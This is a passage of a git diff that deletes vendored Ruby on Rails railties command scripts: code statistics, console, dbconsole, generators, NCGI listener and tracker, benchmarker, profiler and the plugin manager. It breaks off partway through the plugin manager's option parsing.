-        next unless file_name =~ pattern
-
-        f = File.open(directory + "/" + file_name)
-
-        while line = f.gets
-          stats["lines"]     += 1
-          stats["classes"]   += 1 if line =~ /class [A-Z]/
-          stats["methods"]   += 1 if line =~ /def [a-z]/
-          stats["codelines"] += 1 unless line =~ /^\s*$/ || line =~ /^\s*#/
-        end
-      end
-
-      stats
-    end
-
-    def calculate_total
-      total = { "lines" => 0, "codelines" => 0, "classes" => 0, "methods" => 0 }
-      @statistics.each_value { |pair| pair.each { |k, v| total[k] += v } }
-      total
-    end
-
-    def calculate_code
-      code_loc = 0
-      @statistics.each { |k, v| code_loc += v['codelines'] unless TEST_TYPES.include? k }
-      code_loc
-    end
-
-    def calculate_tests
-      test_loc = 0
-      @statistics.each { |k, v| test_loc += v['codelines'] if TEST_TYPES.include? k }
-      test_loc
-    end
-
-    def print_header
-      print_splitter
-      puts "| Name                 | Lines |   LOC | Classes | Methods | M/C | LOC/M |"
-      print_splitter
-    end
-
-    def print_splitter
-      puts "+----------------------+-------+-------+---------+---------+-----+-------+"
-    end
-
-    def print_line(name, statistics)
-      m_over_c   = (statistics["methods"] / statistics["classes"])   rescue m_over_c = 0
-      loc_over_m = (statistics["codelines"] / statistics["methods"]) - 2 rescue loc_over_m = 0
-
-      start = if TEST_TYPES.include? name
-        "| #{name.ljust(20)} "
-      else
-        "| #{name.ljust(20)} " 
-      end
-
-      puts start + 
-           "| #{statistics["lines"].to_s.rjust(5)} " +
-           "| #{statistics["codelines"].to_s.rjust(5)} " +
-           "| #{statistics["classes"].to_s.rjust(7)} " +
-           "| #{statistics["methods"].to_s.rjust(7)} " +
-           "| #{m_over_c.to_s.rjust(3)} " +
-           "| #{loc_over_m.to_s.rjust(5)} |"
-    end
-
-    def print_code_test_stats
-      code  = calculate_code
-      tests = calculate_tests
-
-      puts "  Code LOC: #{code}     Test LOC: #{tests}     Code to Test Ratio: 1:#{sprintf("%.1f", tests.to_f/code)}"
-      puts ""
-    end
-  end
diff --git a/vendor/rails/railties/lib/commands.rb b/vendor/rails/railties/lib/commands.rb
deleted file mode 100644
index 841e98a0..00000000
--- a/vendor/rails/railties/lib/commands.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-commands = Dir["#{File.dirname(__FILE__)}/commands/*.rb"].collect { |file_path| File.basename(file_path).split(".").first }
-
-if commands.include?(ARGV.first)
-  require "#{File.dirname(__FILE__)}/commands/#{ARGV.shift}"
-else
-  puts <<-USAGE
-The 'run' provides a unified access point for all the default Rails' commands.
-  
-Usage: ./script/run <command> [OPTIONS]
-
-Examples:
-  ./script/run generate controller Admin
-  ./script/run process reaper
-
-USAGE
-  puts "Choose: #{commands.join(", ")}"
-end
\ No newline at end of file
diff --git a/vendor/rails/railties/lib/commands/about.rb b/vendor/rails/railties/lib/commands/about.rb
deleted file mode 100644
index bc2cfcb9..00000000
--- a/vendor/rails/railties/lib/commands/about.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-require "#{RAILS_ROOT}/config/environment"
-require 'rails/info'
-puts Rails::Info
diff --git a/vendor/rails/railties/lib/commands/console.rb b/vendor/rails/railties/lib/commands/console.rb
deleted file mode 100644
index 63df8346..00000000
--- a/vendor/rails/railties/lib/commands/console.rb
+++ /dev/null
@@ -1,45 +0,0 @@
-irb = RUBY_PLATFORM =~ /(:?mswin|mingw)/ ? 'irb.bat' : 'irb'
-
-require 'optparse'
-
-options = { :sandbox => false, :irb => irb }
-OptionParser.new do |opt|
-  opt.banner = "Usage: console [environment] [options]"
-  opt.on('-s', '--sandbox', 'Rollback database modifications on exit.') { |v| options[:sandbox] = v }
-  opt.on("--irb=[#{irb}]", 'Invoke a different irb.') { |v| options[:irb] = v }
-  opt.on("--debugger", 'Enable ruby-debugging for the console.') { |v| options[:debugger] = v }
-  opt.parse!(ARGV)
-end
-
-libs =  " -r irb/completion"
-libs << %( -r "#{RAILS_ROOT}/config/environment")
-libs << " -r console_app"
-libs << " -r console_sandbox" if options[:sandbox]
-libs << " -r console_with_helpers"
-
-if options[:debugger]
-  begin
-    require 'ruby-debug'
-    libs << " -r ruby-debug"
-    puts "=> Debugger enabled"
-  rescue Exception
-    puts "You need to install ruby-debug to run the console in debugging mode. With gems, use 'gem install ruby-debug'"
-    exit
-  end
-end
-
-ENV['RAILS_ENV'] = case ARGV.first
-  when "p"; "production"
-  when "d"; "development"
-  when "t"; "test"
-  else
-    ARGV.first || ENV['RAILS_ENV'] || 'development'
-end
-
-if options[:sandbox]
-  puts "Loading #{ENV['RAILS_ENV']} environment in sandbox (Rails #{Rails.version})"
-  puts "Any modifications you make will be rolled back on exit"
-else
-  puts "Loading #{ENV['RAILS_ENV']} environment (Rails #{Rails.version})"
-end
-exec "#{options[:irb]} #{libs} --simple-prompt"
diff --git a/vendor/rails/railties/lib/commands/dbconsole.rb b/vendor/rails/railties/lib/commands/dbconsole.rb
deleted file mode 100644
index b4160494..00000000
--- a/vendor/rails/railties/lib/commands/dbconsole.rb
+++ /dev/null
@@ -1,87 +0,0 @@
-require 'erb'
-require 'yaml'
-require 'optparse'
-
-include_password = false
-options = {}
-
-OptionParser.new do |opt|
-  opt.banner = "Usage: dbconsole [options] [environment]"
-  opt.on("-p", "--include-password", "Automatically provide the password from database.yml") do |v|
-    include_password = true
-  end
-
-  opt.on("--mode [MODE]", ['html', 'list', 'line', 'column'],
-    "Automatically put the sqlite3 database in the specified mode (html, list, line, column).") do |mode|
-      options['mode'] = mode
-  end
-
-  opt.on("-h", "--header") do |h|
-    options['header'] = h
-  end
-
-  opt.parse!(ARGV)
-  abort opt.to_s unless (0..1).include?(ARGV.size)
-end
-
-env = ARGV.first || ENV['RAILS_ENV'] || 'development'
-unless config = YAML::load(ERB.new(IO.read(RAILS_ROOT + "/config/database.yml")).result)[env]
-  abort "No database is configured for the environment '#{env}'"
-end
-
-
-def find_cmd(*commands)
-  dirs_on_path = ENV['PATH'].to_s.split(File::PATH_SEPARATOR)
-  commands += commands.map{|cmd| "#{cmd}.exe"} if RUBY_PLATFORM =~ /win32/
-
-  full_path_command = nil
-  found = commands.detect do |cmd|
-    dir = dirs_on_path.detect do |path|
-      full_path_command = File.join(path, cmd)
-      File.executable? full_path_command
-    end
-  end
-  found ? full_path_command : abort("Couldn't find database client: #{commands.join(', ')}. Check your $PATH and try again.")
-end
-
-case config["adapter"]
-when /^mysql/
-  args = {
-    'host'      => '--host',
-    'port'      => '--port',
-    'socket'    => '--socket',
-    'username'  => '--user',
-    'encoding'  => '--default-character-set'
-  }.map { |opt, arg| "#{arg}=#{config[opt]}" if config[opt] }.compact
-
-  if config['password'] && include_password
-    args << "--password=#{config['password']}"
-  elsif config['password'] && !config['password'].to_s.empty?
-    args << "-p"
-  end
-
-  args << config['database']
-
-  exec(find_cmd('mysql', 'mysql5'), *args)
-
-when "postgresql"
-  ENV['PGUSER']     = config["username"] if config["username"]
-  ENV['PGHOST']     = config["host"] if config["host"]
-  ENV['PGPORT']     = config["port"].to_s if config["port"]
-  ENV['PGPASSWORD'] = config["password"].to_s if config["password"] && include_password
-  exec(find_cmd('psql'), config["database"])
-
-when "sqlite"
-  exec(find_cmd('sqlite'), config["database"])
-
-when "sqlite3"
-  args = []
-
-  args << "-#{options['mode']}" if options['mode']
-  args << "-header" if options['header']
-  args << config['database']
-
-  exec(find_cmd('sqlite3'), *args)
-else
-  abort "Unknown command-line client for #{config['database']}. Submit a Rails patch to add support!"
-end
diff --git a/vendor/rails/railties/lib/commands/destroy.rb b/vendor/rails/railties/lib/commands/destroy.rb
deleted file mode 100644
index f4b81d65..00000000
--- a/vendor/rails/railties/lib/commands/destroy.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-require "#{RAILS_ROOT}/config/environment"
-require 'rails_generator'
-require 'rails_generator/scripts/destroy'
-
-ARGV.shift if ['--help', '-h'].include?(ARGV[0])
-Rails::Generator::Scripts::Destroy.new.run(ARGV)
diff --git a/vendor/rails/railties/lib/commands/generate.rb b/vendor/rails/railties/lib/commands/generate.rb
deleted file mode 100755
index 3d3db3d8..00000000
--- a/vendor/rails/railties/lib/commands/generate.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-require "#{RAILS_ROOT}/config/environment"
-require 'rails_generator'
-require 'rails_generator/scripts/generate'
-
-ARGV.shift if ['--help', '-h'].include?(ARGV[0])
-Rails::Generator::Scripts::Generate.new.run(ARGV)
diff --git a/vendor/rails/railties/lib/commands/ncgi/listener b/vendor/rails/railties/lib/commands/ncgi/listener
deleted file mode 100755
index 7079ef78..00000000
--- a/vendor/rails/railties/lib/commands/ncgi/listener
+++ /dev/null
@@ -1,86 +0,0 @@
-#!/usr/bin/env ruby
-
-require 'stringio'
-require 'fileutils'
-require 'fcgi_handler'
-
-def message(s)
-  $stderr.puts "listener: #{s}" if ENV && ENV["DEBUG_GATEWAY"]
-end
-
-class RemoteCGI < CGI
-  attr_accessor :stdinput, :stdoutput, :env_table
-  def initialize(env_table, input = nil, output = nil)
-    self.env_table = env_table
-    self.stdinput = input || StringIO.new
-    self.stdoutput = output || StringIO.new
-    super()
-  end
-
-  def out(stream) # Ignore the requested output stream
-    super(stdoutput)
-  end
-end
-
-class Listener
-  include DRbUndumped
-
-  def initialize(timeout, socket_path)
-    @socket = File.expand_path(socket_path)
-    @mutex = Mutex.new
-    @active = false
-    @timeout = timeout
-
-    @handler = RailsFCGIHandler.new
-    @handler.extend DRbUndumped
-
-    message 'opening socket'
-    DRb.start_service("drbunix:#{@socket}", self)
-
-    message 'entering process loop'
-    @handler.process! self
-  end
-
-  def each_cgi(&cgi_block)
-    @cgi_block = cgi_block
-    message 'entering idle loop'
-    loop do
-      sleep @timeout rescue nil
-      die! unless @active
-      @active = false
-    end
-  end
-
-  def process(env, input)
-    message 'received request'
-    @mutex.synchronize do
-      @active = true
-
-      message 'creating input stream'
-      input_stream = StringIO.new(input)
-      message 'building CGI instance'
-      cgi = RemoteCGI.new(eval(env), input_stream)
-
-      message 'yielding to fcgi handler'
-      @cgi_block.call cgi
-      message 'yield finished -- sending output'
-
-      cgi.stdoutput.seek(0)
-      output = cgi.stdoutput.read
-
-      return output
-    end
-  end
-
-  def die!
-    message 'shutting down'
-    DRb.stop_service
-    FileUtils.rm_f @socket
-    Kernel.exit 0
-  end
-end
-
-socket_path = ARGV.shift
-timeout = (ARGV.shift || 90).to_i
-
-Listener.new(timeout, socket_path)
diff --git a/vendor/rails/railties/lib/commands/ncgi/tracker b/vendor/rails/railties/lib/commands/ncgi/tracker
deleted file mode 100755
index 4ca12d77..00000000
--- a/vendor/rails/railties/lib/commands/ncgi/tracker
+++ /dev/null
@@ -1,69 +0,0 @@
-#!/usr/bin/env ruby
-
-require 'drb'
-require 'thread'
-
-def message(s)
-  $stderr.puts "tracker: #{s}" if ENV && ENV["DEBUG_GATEWAY"]
-end
-
-class Tracker
-  include DRbUndumped
-
-  def initialize(instances, socket_path)
-    @instances = instances
-    @socket = File.expand_path(socket_path)
-    @active = false
-
-    @listeners = []
-    @instances.times { @listeners << Mutex.new }
-
-    message "using #{@listeners.length} listeners"
-    message "opening socket at #{@socket}"
-
-    @service = DRb.start_service("drbunix://#{@socket}", self)
-  end
-
-  def with_listener
-    message "listener requested"
-
-    mutex = has_lock = index = nil
-    3.times do 
-      @listeners.each_with_index do |mutex, index|
-        has_lock = mutex.try_lock
-        break if has_lock
-      end
-      break if has_lock
-      sleep 0.05
-    end
-
-    if has_lock
-      message "obtained listener #{index}"
-      @active = true
-      begin yield index
-      ensure
-        mutex.unlock
-        message "released listener #{index}"
-      end
-    else
-      message "dropping request because no listeners are available!"
-    end
-  end
-
-  def background(check_interval = nil)
-    if check_interval
-      loop do
-        sleep check_interval
-        message "Idle for #{check_interval}, shutting down" unless @active
-        @active = false
-        Kernel.exit 0
-      end
-    else DRb.thread.join
-    end
-  end
-end
-
-socket_path = ARGV.shift
-instances = ARGV.shift.to_i
-t = Tracker.new(instances, socket_path)
-t.background(ARGV.first ? ARGV.shift.to_i : 90)
diff --git a/vendor/rails/railties/lib/commands/performance/benchmarker.rb b/vendor/rails/railties/lib/commands/performance/benchmarker.rb
deleted file mode 100644
index e8804fe1..00000000
--- a/vendor/rails/railties/lib/commands/performance/benchmarker.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-if ARGV.empty?
-  puts "Usage: ./script/performance/benchmarker [times] 'Person.expensive_way' 'Person.another_expensive_way' ..."
-  exit 1
-end
-
-begin
-  N = Integer(ARGV.first)
-  ARGV.shift
-rescue ArgumentError
-  N = 1
-end
-
-require RAILS_ROOT + '/config/environment'
-require 'benchmark'
-include Benchmark
-
-# Don't include compilation in the benchmark
-ARGV.each { |expression| eval(expression) }
-
-bm(6) do |x|
-  ARGV.each_with_index do |expression, idx|
-    x.report("##{idx + 1}") { N.times { eval(expression) } }
-  end
-end 
diff --git a/vendor/rails/railties/lib/commands/performance/profiler.rb b/vendor/rails/railties/lib/commands/performance/profiler.rb
deleted file mode 100644
index 7df840f1..00000000
--- a/vendor/rails/railties/lib/commands/performance/profiler.rb
+++ /dev/null
@@ -1,50 +0,0 @@
-if ARGV.empty?
-  $stderr.puts "Usage: ./script/performance/profiler 'Person.expensive_method(10)' [times] [flat|graph|graph_html]"
-  exit(1)
-end
-
-# Keep the expensive require out of the profile.
-$stderr.puts 'Loading Rails...'
-require RAILS_ROOT + '/config/environment'
-
-# Define a method to profile.
-if ARGV[1] and ARGV[1].to_i > 1
-  eval "def profile_me() #{ARGV[1]}.times { #{ARGV[0]} } end"
-else
-  eval "def profile_me() #{ARGV[0]} end"
-end
-
-# Use the ruby-prof extension if available.  Fall back to stdlib profiler.
-begin
-  begin
-    require "ruby-prof"
-    $stderr.puts 'Using the ruby-prof extension.'
-    RubyProf.measure_mode = RubyProf::WALL_TIME
-    RubyProf.start
-    profile_me
-    results = RubyProf.stop
-    if ARGV[2]
-      printer_class = RubyProf.const_get((ARGV[2] + "_printer").classify)
-    else
-      printer_class = RubyProf::FlatPrinter
-    end
-    printer = printer_class.new(results)
-    printer.print($stderr)
-  rescue LoadError
-    require "prof"
-    $stderr.puts 'Using the old ruby-prof extension.'
-    Prof.clock_mode = Prof::GETTIMEOFDAY
-    Prof.start
-    profile_me
-    results = Prof.stop
-    require 'rubyprof_ext'
-    Prof.print_profile(results, $stderr)
-  end
-rescue LoadError
-  require 'profiler'
-  $stderr.puts 'Using the standard Ruby profiler.'
-  Profiler__.start_profile
-  profile_me
-  Profiler__.stop_profile
-  Profiler__.print_profile($stderr)
-end
diff --git a/vendor/rails/railties/lib/commands/plugin.rb b/vendor/rails/railties/lib/commands/plugin.rb
deleted file mode 100644
index 9f99a8d5..00000000
--- a/vendor/rails/railties/lib/commands/plugin.rb
+++ /dev/null
@@ -1,968 +0,0 @@
-# Rails Plugin Manager.
-# 
-# Listing available plugins:
-#
-#   $ ./script/plugin list
-#   continuous_builder            http://dev.rubyonrails.com/svn/rails/plugins/continuous_builder
-#   asset_timestamping            http://svn.aviditybytes.com/rails/plugins/asset_timestamping
-#   enumerations_mixin            http://svn.protocool.com/rails/plugins/enumerations_mixin/trunk
-#   calculations                  http://techno-weenie.net/svn/projects/calculations/
-#   ...
-#
-# Installing plugins:
-#
-#   $ ./script/plugin install continuous_builder asset_timestamping
-#
-# Finding Repositories:
-#
-#   $ ./script/plugin discover
-# 
-# Adding Repositories:
-#
-#   $ ./script/plugin source http://svn.protocool.com/rails/plugins/
-#
-# How it works:
-# 
-#   * Maintains a list of subversion repositories that are assumed to have
-#     a plugin directory structure. Manage them with the (source, unsource,
-#     and sources commands)
-#     
-#   * The discover command scrapes the following page for things that
-#     look like subversion repositories with plugins:
-#     http://wiki.rubyonrails.org/rails/pages/Plugins
-# 
-#   * Unless you specify that you want to use svn, script/plugin uses plain old
-#     HTTP for downloads.  The following bullets are true if you specify
-#     that you want to use svn.
-#
-#   * If `vendor/plugins` is under subversion control, the script will
-#     modify the svn:externals property and perform an update. You can
-#     use normal subversion commands to keep the plugins up to date.
-# 
-#   * Or, if `vendor/plugins` is not under subversion control, the
-#     plugin is pulled via `svn checkout` or `svn export` but looks
-#     exactly the same.
-# 
-# Specifying revisions:
-#
-#   * Subversion revision is a single integer.
-#
-#   * Git revision format:
-#     - full - 'refs/tags/1.8.0' or 'refs/heads/experimental'
-#     - short: 'experimental' (equivalent to 'refs/heads/experimental')
-#              'tag 1.8.0' (equivalent to 'refs/tags/1.8.0')
-#
-#
-# This is Free Software, copyright 2005 by Ryan Tomayko (rtomayko@gmail.com) 
-# and is licensed MIT: (http://www.opensource.org/licenses/mit-license.php)
-
-$verbose = false
-
-
-require 'open-uri'
-require 'fileutils'
-require 'tempfile'
-
-include FileUtils
-
-class RailsEnvironment
-  attr_reader :root
-
-  def initialize(dir)
-    @root = dir
-  end
-
-  def self.find(dir=nil)
-    dir ||= pwd
-    while dir.length > 1
-      return new(dir) if File.exist?(File.join(dir, 'config', 'environment.rb'))
-      dir = File.dirname(dir)
-    end
-  end
-  
-  def self.default
-    @default ||= find
-  end
-  
-  def self.default=(rails_env)
-    @default = rails_env
-  end
-  
-  def install(name_uri_or_plugin)
-    if name_uri_or_plugin.is_a? String
-      if name_uri_or_plugin =~ /:\/\// 
-        plugin = Plugin.new(name_uri_or_plugin)
-      else
-        plugin = Plugins[name_uri_or_plugin]
-      end
-    else
-      plugin = name_uri_or_plugin
-    end
-    unless plugin.nil?
-      plugin.install
-    else
-      puts "Plugin not found: #{name_uri_or_plugin}"
-    end
-  end
- 
-  def use_svn?
-    require 'active_support/core_ext/kernel'
-    silence_stderr {`svn --version` rescue nil}
-    !$?.nil? && $?.success?
-  end
-
-  def use_externals?
-    use_svn? && File.directory?("#{root}/vendor/plugins/.svn")
-  end
-
-  def use_checkout?
-    # this is a bit of a guess. we assume that if the rails environment
-    # is under subversion then they probably want the plugin checked out
-    # instead of exported. This can be overridden on the command line
-    File.directory?("#{root}/.svn")
-  end
-
-  def best_install_method
-    return :http unless use_svn?
-    case
-      when use_externals? then :externals
-      when use_checkout? then :checkout
-      else :export
-    end
-  end
-
-  def externals
-    return [] unless use_externals?
-    ext = `svn propget svn:externals "#{root}/vendor/plugins"`
-    lines = ext.respond_to?(:lines) ? ext.lines : ext
-    lines.reject{ |line| line.strip == '' }.map do |line|
-      line.strip.split(/\s+/, 2) 
-    end
-  end
-
-  def externals=(items)
-    unless items.is_a? String
-      items = items.map{|name,uri| "#{name.ljust(29)} #{uri.chomp('/')}"}.join("\n")
-    end
-    Tempfile.open("svn-set-prop") do |file|
-      file.write(items)
-      file.flush
-      system("svn propset -q svn:externals -F \"#{file.path}\" \"#{root}/vendor/plugins\"")
-    end
-  end
-  
-end
-
-class Plugin
-  attr_reader :name, :uri
-  
-  def initialize(uri, name=nil)
-    @uri = uri
-    guess_name(uri)
-  end
-  
-  def self.find(name)
-    name =~ /\// ? new(name) : Repositories.instance.find_plugin(name)
-  end
-  
-  def to_s
-    "#{@name.ljust(30)}#{@uri}"
-  end
-  
-  def svn_url?
-    @uri =~ /svn(?:\+ssh)?:\/\/*/
-  end
-  
-  def git_url?
-    @uri =~ /^git:\/\// || @uri =~ /\.git$/
-  end
-  
-  def installed?
-    File.directory?("#{rails_env.root}/vendor/plugins/#{name}") \
-      or rails_env.externals.detect{ |name, repo| self.uri == repo }
-  end
-  
-  def install(method=nil, options = {})
-    method ||= rails_env.best_install_method?
-    if :http == method
-      method = :export if svn_url?
-      method = :git    if git_url?
-    end
-
-    uninstall if installed? and options[:force]
-
-    unless installed?
-      send("install_using_#{method}", options)
-      run_install_hook
-    else
-      puts "already installed: #{name} (#{uri}).  pass --force to reinstall"
-    end
-  end
-
-  def uninstall
-    path = "#{rails_env.root}/vendor/plugins/#{name}"
-    if File.directory?(path)
-      puts "Removing 'vendor/plugins/#{name}'" if $verbose
-      run_uninstall_hook
-      rm_r path
-    else
-      puts "Plugin doesn't exist: #{path}"
-    end
-    # clean up svn:externals
-    externals = rails_env.externals
-    externals.reject!{|n,u| name == n or name == u}
-    rails_env.externals = externals
-  end
-
-  def info
-    tmp = "#{rails_env.root}/_tmp_about.yml"
-    if svn_url?
-      cmd = "svn export #{@uri} \"#{rails_env.root}/#{tmp}\""
-      puts cmd if $verbose
-      system(cmd)
-    end
-    open(svn_url? ? tmp : File.join(@uri, 'about.yml')) do |stream|
-      stream.read
-    end rescue "No about.yml found in #{uri}"
-  ensure
-    FileUtils.rm_rf tmp if svn_url?
-  end
-
-  private 
-
-    def run_install_hook
-      install_hook_file = "#{rails_env.root}/vendor/plugins/#{name}/install.rb"
-      load install_hook_file if File.exist? install_hook_file
-    end
-
-    def run_uninstall_hook
-      uninstall_hook_file = "#{rails_env.root}/vendor/plugins/#{name}/uninstall.rb"
-      load uninstall_hook_file if File.exist? uninstall_hook_file
-    end
-
-    def install_using_export(options = {})
-      svn_command :export, options
-    end
-    
-    def install_using_checkout(options = {})
-      svn_command :checkout, options
-    end
-    
-    def install_using_externals(options = {})
-      externals = rails_env.externals
-      externals.push([@name, uri])
-      rails_env.externals = externals
-      install_using_checkout(options)
-    end
-
-    def install_using_http(options = {})
-      root = rails_env.root
-      mkdir_p "#{root}/vendor/plugins/#{@name}"
-      Dir.chdir "#{root}/vendor/plugins/#{@name}" do
-        puts "fetching from '#{uri}'" if $verbose
-        fetcher = RecursiveHTTPFetcher.new(uri, -1)
-        fetcher.quiet = true if options[:quiet]
-        fetcher.fetch
-      end
-    end
-    
-    def install_using_git(options = {})
-      root = rails_env.root
-      mkdir_p(install_path = "#{root}/vendor/plugins/#{name}")
-      Dir.chdir install_path do
-        init_cmd = "git init"
-        init_cmd += " -q" if options[:quiet] and not $verbose
-        puts init_cmd if $verbose
-        system(init_cmd)
-        base_cmd = "git pull --depth 1 #{uri}"
-        base_cmd += " -q" if options[:quiet] and not $verbose
-        base_cmd += " #{options[:revision]}" if options[:revision]
-        puts base_cmd if $verbose
-        if system(base_cmd)
-          puts "removing: .git .gitignore" if $verbose
-          rm_rf %w(.git .gitignore)
-        else
-          rm_rf install_path
-        end
-      end
-    end
-
-    def svn_command(cmd, options = {})
-      root = rails_env.root
-      mkdir_p "#{root}/vendor/plugins"
-      base_cmd = "svn #{cmd} #{uri} \"#{root}/vendor/plugins/#{name}\""
-      base_cmd += ' -q' if options[:quiet] and not $verbose
-      base_cmd += " -r #{options[:revision]}" if options[:revision]
-      puts base_cmd if $verbose
-      system(base_cmd)
-    end
-
-    def guess_name(url)
-      @name = File.basename(url)
-      if @name == 'trunk' || @name.empty?
-        @name = File.basename(File.dirname(url))
-      end
-      @name.gsub!(/\.git$/, '') if @name =~ /\.git$/
-    end
-    
-    def rails_env
-      @rails_env || RailsEnvironment.default
-    end
-end
-
-class Repositories
-  include Enumerable
-  
-  def initialize(cache_file = File.join(find_home, ".rails-plugin-sources"))
-    @cache_file = File.expand_path(cache_file)
-    load!
-  end
-  
-  def each(&block)
-    @repositories.each(&block)
-  end
-  
-  def add(uri)
-    unless find{|repo| repo.uri == uri }
-      @repositories.push(Repository.new(uri)).last
-    end
-  end
-  
-  def remove(uri)
-    @repositories.reject!{|repo| repo.uri == uri}
-  end
-  
-  def exist?(uri)
-    @repositories.detect{|repo| repo.uri == uri }
-  end
-  
-  def all
-    @repositories
-  end
-  
-  def find_plugin(name)
-    @repositories.each do |repo|
-      repo.each do |plugin|
-        return plugin if plugin.name == name
-      end
-    end
-    return nil
-  end
-  
-  def load!
-    contents = File.exist?(@cache_file) ? File.read(@cache_file) : defaults
-    contents = defaults if contents.empty?
-    @repositories = contents.split(/\n/).reject do |line|
-      line =~ /^\s*#/ or line =~ /^\s*$/
-    end.map { |source| Repository.new(source.strip) }
-  end
-  
-  def save
-    File.open(@cache_file, 'w') do |f|
-      each do |repo|
-        f.write(repo.uri)
-        f.write("\n")
-      end
-    end
-  end
-  
-  def defaults
-    <<-DEFAULTS
-    http://dev.rubyonrails.com/svn/rails/plugins/
-    DEFAULTS
-  end
- 
-  def find_home
-    ['HOME', 'USERPROFILE'].each do |homekey|
-      return ENV[homekey] if ENV[homekey]
-    end
-    if ENV['HOMEDRIVE'] && ENV['HOMEPATH']
-      return "#{ENV['HOMEDRIVE']}:#{ENV['HOMEPATH']}"
-    end
-    begin
-      File.expand_path("~")
-    rescue StandardError => ex
-      if File::ALT_SEPARATOR
-        "C:/"
-      else
-        "/"
-      end
-    end
-  end
-
-  def self.instance
-    @instance ||= Repositories.new
-  end
-  
-  def self.each(&block)
-    self.instance.each(&block)
-  end
-end
-
-class Repository
-  include Enumerable
-  attr_reader :uri, :plugins
-  
-  def initialize(uri)
-    @uri = uri.chomp('/') << "/"
-    @plugins = nil
-  end
-  
-  def plugins
-    unless @plugins
-      if $verbose
-        puts "Discovering plugins in #{@uri}" 
-        puts index
-      end
-
-      @plugins = index.reject{ |line| line !~ /\/$/ }
-      @plugins.map! { |name| Plugin.new(File.join(@uri, name), name) }
-    end
-
-    @plugins
-  end
-  
-  def each(&block)
-    plugins.each(&block)
-  end
-  
-  private
-    def index
-      @index ||= RecursiveHTTPFetcher.new(@uri).ls
-    end
-end
-
-
-# load default environment and parse arguments
-require 'optparse'
-module Commands
-
-  class Plugin
-    attr_reader :environment, :script_name, :sources
-    def initialize
-      @environment = RailsEnvironment.default
-      @rails_root = RailsEnvironment.default.root
-      @script_name = File.basename($0) 
-      @sources = []
-    end
-    
-    def environment=(value)
-      @environment = value
-      RailsEnvironment.default = value
-    end
-    
-    def options
-      OptionParser.new do |o|
-        o.set_summary_indent('  ')
-        o.banner =    "Usage: #{@script_name} [OPTIONS] command"
-        o.define_head "Rails plugin manager."
-        
-        o.separator ""        
-        o.separator "GENERAL OPTIONS"
-        
-        o.on("-r", "--root=DIR", String,
-             "Set an explicit rails app directory.",
-             "Default: #{@rails_root}") { |rails_root| @rails_root = rails_root; self.environment = RailsEnvironment.new(@rails_root) }
-        o.on("-s", "--source=URL1,URL2", Array,
-             "Use the specified plugin repositories instead of the defaults.") { |sources| @sources = sources}
-        
-        o.on("-v", "--verbose", "Turn on verbose output.") { |verbose| $verbose = verbose }
-        o.on("-h", "--help", "Show this help message.") { puts o; exit }
-        
-        o.separator ""
-        o.separator "COMMANDS"
-        
-        o.separator "  discover   Discover plugin repositories."
-        o.separator "  list       List available plugins."
-        o.separator "  install    Install plugin(s) from known repositories or URLs."
-        o.separator "  update     Update installed plugins."
-        o.separator "  remove     Uninstall plugins."
-        o.separator "  source     Add a plugin source repository."
-        o.separator "  unsource   Remove a plugin repository."
-        o.separator "  sources    List currently configured plugin repositories."
-        
-        o.separator ""
-        o.separator "EXAMPLES"
-        o.separator "  Install a plugin:"
-        o.separator "    #{@script_name} install continuous_builder\n"
-        o.separator "  Install a plugin from a subversion URL:"
-        o.separator "    #{@script_name} install http://dev.rubyonrails.com/svn/rails/plugins/continuous_builder\n"
-        o.separator "  Install a plugin from a git URL:"
-        o.separator "    #{@script_name} install git://github.com/SomeGuy/my_awesome_plugin.git\n"
-        o.separator "  Install a plugin and add a svn:externals entry to vendor/plugins"
-        o.separator "    #{@script_name} install -x continuous_builder\n"
-        o.separator "  List all available plugins:"
-        o.separator "    #{@script_name} list\n"
-        o.separator "  List plugins in the specified repository:"
-        o.separator "    #{@script_name} list --source=http://dev.rubyonrails.com/svn/rails/plugins/\n"
-        o.separator "  Discover and prompt to add new repositories:"
-        o.separator "    #{@script_name} discover\n"
-        o.separator "  Discover new repositories but just list them, don't add anything:"
-        o.separator "    #{@script_name} discover -l\n"
-        o.separator "  Add a new repository to the source list:"
-        o.separator "    #{@script_name} source http://dev.rubyonrails.com/svn/rails/plugins/\n"
-        o.separator "  Remove a repository from the source list:"
-        o.separator "    #{@script_name} unsource http://dev.rubyonrails.com/svn/rails/plugins/\n"
-        o.separator "  Show currently configured repositories:"
-        o.separator "    #{@script_name} sources\n"        
-      end
-    end
-    
-    def parse!(args=ARGV)
-      general, sub = split_args(args)
-      options.parse!(general)
-      
-      command = general.shift
-      if command =~ /^(list|discover|install|source|unsource|sources|remove|update|info)$/
-        command = Commands.const_get(command.capitalize).new(self)
-        command.parse!(sub)
-      else
-        puts "Unknown command: #{command}"
-        puts options
-        exit 1
-      end
-    end
-    
-    def split_args(args)
-      left = []
-      left << args.shift while args[0] and args[0] =~ /^-/
-      left << args.shift if args[0]
-      return [left, args]
-    end
-    
-    def self.parse!(args=ARGV)
-      Plugin.new.parse!(args)
-    end
-  end
-  
-  
-  class List
-    def initialize(base_command)
-      @base_command = base_command
-      @sources = []
-      @local = false
-      @remote = true
-    end
-    
-    def options
-      OptionParser.new do |o|
-        o.set_summary_indent('  ')
-        o.banner =    "Usage: #{@base_command.script_name} list [OPTIONS] [PATTERN]"
-        o.define_head "List available plugins."
-        o.separator   ""        
-        o.separator   "Options:"
-        o.separator   ""
-        o.on(         "-s", "--source=URL1,URL2", Array,
-                      "Use the specified plugin repositories.") {|sources| @sources = sources}
-        o.on(         "--local", 
-                      "List locally installed plugins.") {|local| @local, @remote = local, false}
-        o.on(         "--remote",
-                      "List remotely available plugins. This is the default behavior",
-                      "unless --local is provided.") {|remote| @remote = remote}
-      end
-    end
-    
-    def parse!(args)
-      options.order!(args)
-      unless @sources.empty?
-        @sources.map!{ |uri| Repository.new(uri) }
-      else
-        @sources = Repositories.instance.all
-      end
-      if @remote
-        @sources.map{|r| r.plugins}.flatten.each do |plugin| 
-          if @local or !plugin.installed?
-            puts plugin.to_s
-          end
-        end
-      else
-        cd "#{@base_command.environment.root}/vendor/plugins"
-        Dir["*"].select{|p| File.directory?(p)}.each do |name| 
-          puts name
-        end
-      end
-    end
-  end
-  
-  
-  class Sources
-    def initialize(base_command)
-      @base_command = base_command
-    end
-    
-    def options
-      OptionParser.new do |o|
